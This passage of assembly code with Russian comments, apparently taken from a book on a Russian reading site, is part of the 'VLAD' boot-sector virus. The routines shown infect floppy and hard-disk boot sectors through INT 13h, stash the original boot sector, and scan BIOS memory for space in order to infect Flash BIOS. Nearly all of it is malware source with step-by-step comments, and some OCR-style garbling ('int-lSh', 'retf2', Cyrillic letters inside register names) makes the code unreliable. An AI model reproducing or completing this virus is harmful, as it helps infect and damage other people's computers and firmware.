jb infect_floppy ; Установим номера дорожки, головки и сектора для жесткого

; диска для сохранения оригинального boot-сектора

mov cx, 2

xor dh, dh

jmp write_virus

infect_Floppy:

; Установим номера дорожки, головки и сектора для дискеты

; для сохранения оригинального boot-сектора

mov сх, 14

mov dh, 1

Write_Virus:

; Записываем оригинальный boot-сектор

mov ax, 0301h

call int-lSh

jc pop_exit

; Установим сегментный регистр ES на сегмент с вирусом

push cs

pop es

; Сбросим флаг зараженности Flash BIOS

mov byte ptr cs:flash_done, 0

; 3апишем тело вируса в boot-сектор

xor bx, bx

mov ax, 0301h

mov cx, 0001h

xor dh, dh

call int13h

; Восстановим регистры и флаги (как раз те их значения, которые

; свидетельствуют о том, что boot-сектор только что считали)

Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

; Выходим из обработчика в вызывающую программу

retf2

; 3апуск оригинального обработчика

jend:

DD 0EAh ; Код команды JMP FAR ;

Оригинальный вектор INT13h

i13 DD 0

; Вызов прерывания INT 13h

int13h proc near

pushf

call dword ptr cs:[i13]

ret

int13h endp

; Первые два байта слова используются как сигнатура

Marker db 'VLAD'

; Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

; Проверим наличие Flash BIOS

mov ax, 0e000h

int 16h

jc no_flash_bios

cmp al, 0FAh

jne no_flash_bios

; Сначала найдем хорошее место для хранения вируса.

; Просканируем память F000h-FFFFh, где обычно находится BIOS,

; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

; но выделить нужно с запасом

infect_Flash:

; Остановим начальный сегмент для поиска

mov ax, 0F000h

mov ds, ax

; Проверим сегмент

New_segment:

; Остановим стартовое смещение

xor si, si

; Остановим счетчик найденных байт

; (величина свободного места для вируса)

xor dx, dx

ok_new_segment:

; Перейдем к следующему сегменту

inc ax

mov ds, ax

; Проверим, есть ли еще место для вируса

cmp ax, 0FFF0h

je no_flash_BIOS

; Проверим, свободно ли место (для скорости проверяем словами)

test16:

cmp word ptr [si], 0

jne new_segment

; Увеличим счетчик размера найденного свободного места

inc dx

; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но

; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)

cmp dx, 512

je found_storage

; Увеличим смещение проверяемого байта

inc si

inc si

; Сравним с 16. Переходим к следующему сегменту

; в начале каждого параграфа

cmp si, 16

Добавить отзыв
ВСЕ ОТЗЫВЫ О КНИГЕ В ИЗБРАННОЕ

0

Вы можете отметить интересные вам фрагменты текста, которые будут доступны по уникальной ссылке в адресной строке браузера.

Отметить Добавить цитату